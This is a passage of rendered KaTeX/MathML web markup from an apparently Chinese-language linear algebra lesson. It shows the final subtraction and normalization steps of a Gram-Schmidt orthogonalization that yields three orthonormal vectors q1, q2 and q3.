class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0359em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0.5</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0.5</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:3.6153em;vertical-align:-1.5577em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.0577em;"><span style="top:-4.2126em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">6</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-3.0074em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">6</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-1.8023em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.5577em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6153em;vertical-align:-1.5577em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.0577em;"><span style="top:-4.2126em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-3.0074em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-1.8023em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.5577em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span></span></span></p></li><li><p>最后归一化得到 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>q</mi><mn>1</mn></msub><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo separator="true">,</mo><msub><mi>q</mi><mn>2</mn></msub><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>6</mn></msqrt></mfrac><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo separator="true">,</mo><msub><mi>q</mi><mn>3</mn></msub><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>3</mn></msqrt></mfrac><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> q_1 = \frac{1}{\sqrt{2}} \begin{bmatrix} 1 \\ 1 \\ 0 \end{bmatrix}, q_2 = \frac{1}{\sqrt{6}} \begin{bmatrix} 1 \\ -1 \\ 2 \end{bmatrix}, q_3 = \frac{1}{\sqrt{3}} \begin{bmatrix} -1 \\ 1 \\ 1 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">6</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">3</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" 